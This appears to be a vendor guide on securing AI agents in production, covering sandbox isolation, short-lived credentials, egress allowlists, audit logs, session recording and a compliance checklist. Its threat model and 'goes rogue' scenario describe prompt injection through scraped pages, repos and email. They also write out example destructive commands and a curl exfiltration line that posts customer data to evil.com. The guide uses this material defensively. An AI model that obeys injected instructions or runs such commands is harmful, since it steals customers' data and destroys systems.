Guide #15 Act 3 — Security 18 min read March 2026

Security for AI Agents in Production

Your security team will ask: "What happens when the agent goes rogue? What can it access? Where do credentials live? Is there an audit trail?" This guide answers every question. Network isolation. Short-lived credentials. Egress control. Session recording. SOC2 patterns.

The threat model for AI agents

AI agents are different from traditional software. They execute LLM-generated code, make autonomous decisions, and interact with external systems. The threat model has four categories:

1. Prompt injection / jailbreak

A malicious input (a crafted webpage, a poisoned repo, a tricky email) tricks the agent into executing unintended commands. The agent thinks it's following instructions but is actually exfiltrating data or running destructive commands.

2. Hallucinated destructive actions

The model hallucinates a command that doesn't exist or generates a destructive command by mistake. rm -rf /, DROP TABLE users, or a curl that posts credentials to an external URL.

3. Credential exposure

The agent needs credentials to do its work (API keys, database passwords, SSH keys). If these are long-lived and broadly scoped, a compromised agent becomes a compromised identity with access to everything.

4. Data exfiltration

The agent processes sensitive data (customer PII, financial records, source code). If it has unrestricted network access, it could send data to external endpoints — intentionally (prompt injection) or accidentally (logging to a third-party service).

The six security controls

1. Compute isolation

Every sandbox and container runs in its own isolated environment. Sandboxes are EC2 instances in a dedicated VPC. Browser and desktop containers are cloud containers with their own network interface. No agent can see another agent's filesystem, processes, or network traffic.

security architecture
# Each sandbox gets:
- Own EC2 instance (not shared, not a container on shared host)
- Own filesystem (EBS volume, encrypted at rest)
- Own security group (configurable egress rules)
- Own IAM role (scoped to the task, not the platform)

# Each browser/desktop container gets:
- Own cloud container (isolated compute, memory, network)
- Own session token (rotated on release, invalidated on termination)
- Own cookie jar (no cross-container session leakage)

2. Short-lived credentials

Never give an agent long-lived credentials. Use short-lived tokens, SSH certificates, and scoped API keys that expire after the task completes.

bash — short-lived SSH certificate
# Issue a 1-hour SSH certificate for the sandbox
curl -s -X POST "$SANDBOX_URL/api/ssh/certificates" \
  -H "Authorization: Bearer $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "ttl_seconds": 3600,
    "principals": ["ubuntu"]
  }'

# The certificate expires in 1 hour
# Even if the private key leaks, it's useless after expiry
Credential typeBad practiceGood practice
SSH accessPersistent SSH key in ~/.sshShort-lived certificate (1–4 hours)
API keysLong-lived key in environment variableScoped key fetched from secrets manager at runtime
DatabaseAdmin credentials in .envRead-only role with row-level access, token expires
Vendor portalsShared team passwordPer-agent credentials, stored encrypted, injected at runtime
Model API keyANTHROPIC_API_KEY in bootstrapInjected via sandbox environment, scoped to org

3. Egress control

By default, sandboxes can reach the internet. For sensitive workloads, restrict outbound traffic to only the endpoints the agent needs.

security group rules
# Restrictive egress for a financial processing agent:
Outbound rules:
  - TCP 443 → api.anthropic.com      # Claude API
  - TCP 443 → erp.internal.com       # ERP endpoint
  - TCP 443 → api.stripe.com         # Payment processor
  - DENY ALL other outbound traffic

# The agent cannot reach arbitrary internet endpoints
# A prompt injection that tries to curl data to evil.com fails
Egress control is your last line of defense against data exfiltration

If an agent is compromised via prompt injection and tries to send customer data to an external endpoint, egress rules block the request. This is the security control that matters most for agents handling sensitive data.

4. Audit logging

Every action is logged: sandbox creation, command execution, file uploads, container lifecycle events. The audit log is immutable and queryable.

bash — query audit log
# Get audit log for a specific sandbox
curl -s "$SANDBOX_URL/api/admin/audit-log?sandbox_id=$SID" \
  -H "Authorization: Bearer $ADMIN_KEY" | jq .

# Each entry includes:
# - timestamp
# - user_id (who triggered the action)
# - action (create_sandbox, execute_command, upload_file, etc.)
# - resource_id (sandbox_id, container_id)
# - details (command text, file name, response code)
# - ip_address (where the request came from)

5. Session recording

For desktop and browser containers, record the visual session. This provides a complete video audit trail of what the agent saw and did.

Session recordings are compliance gold

SOC2 auditors and financial regulators want evidence of what the agent did. A video recording of the desktop session showing the agent navigating SAP and entering a purchase order is stronger evidence than any log file. For agents handling financial data, government filings, or PII, record every session.

6. Ephemeral by default

The best security posture for most agent tasks is ephemeral: create the sandbox, do the work, destroy the sandbox. Nothing persists. No credentials on disk. No browser history. No cached data. The attack surface exists only during the task execution window.

What happens when an agent goes rogue

Scenario: a prompt injection in a scraped webpage tricks the agent into running curl -X POST https://evil.com/exfil -d "$(cat /workspace/customer_data.csv)".

Here's how each control layer responds:

  1. Egress control blocks the request to evil.com (not in the allowlist). The data never leaves the sandbox.
  2. Audit log records the attempted command, including the full curl command with the target URL.
  3. The sandbox is isolated — even if the agent ran rm -rf /, only the disposable sandbox is affected. No other agents, no shared infrastructure.
  4. Short-lived credentials mean the agent's API keys expire in 1 hour. Even if the credentials were exfiltrated to another system (which egress blocked), they'd be useless quickly.
  5. Alerting fires on the blocked egress attempt. The security team is notified within minutes.

The worst case with all controls in place: the agent wasted 5 minutes of compute on a failed exfiltration attempt. The data stayed inside the sandbox. The credentials expired. The sandbox was destroyed. The alert was logged.

SOC2, GDPR, and HIPAA patterns

SOC2

GDPR

HIPAA

Security checklist for production deployment

  1. Egress rules — restrict outbound traffic to only required endpoints for agents handling sensitive data.
  2. Short-lived credentials — SSH certificates (1–4 hr TTL), scoped API keys fetched at runtime, no passwords in environment variables.
  3. Ephemeral by default — destroy sandboxes after task completion. Use persistent only when the task requires it.
  4. Audit logging enabled — verify the audit log captures all actions. Set up log export to your SIEM.
  5. Session recording — enable for desktop and browser containers handling financial, compliance, or PII data.
  6. Multi-tenant isolation — verify users can only access their own org's resources. Test with a cross-org access attempt.
  7. Spending caps — set per-user limits to prevent a compromised account from spinning up expensive resources.
  8. Alerting — configure alerts on blocked egress attempts, failed authentication, and sandbox creation spikes.
  9. Credential rotation — rotate vendor portal passwords and API keys on a regular schedule.
  10. Incident response plan — document what happens when an agent alert fires. Who gets notified? What's the escalation path? How do you kill a sandbox immediately?
bash — emergency: kill a sandbox immediately
# Emergency termination — stops and deletes the sandbox immediately
curl -s -X DELETE "$SANDBOX_URL/api/sandboxes/$SUSPECT_SANDBOX_ID" \
  -H "Authorization: Bearer $ADMIN_KEY"

# For containers (browser/desktop)
curl -s -X DELETE "$SANDBOX_URL/api/containers/$SUSPECT_CONTAINER_ID" \
  -H "Authorization: Bearer $ADMIN_KEY"

# The sandbox/container is terminated within seconds
# All processes killed, network access severed

What's next

Secure by architecture, not by policy

Isolation. Short-lived credentials. Egress control. Audit trail. Security your team can verify, not just trust.

Get Started Free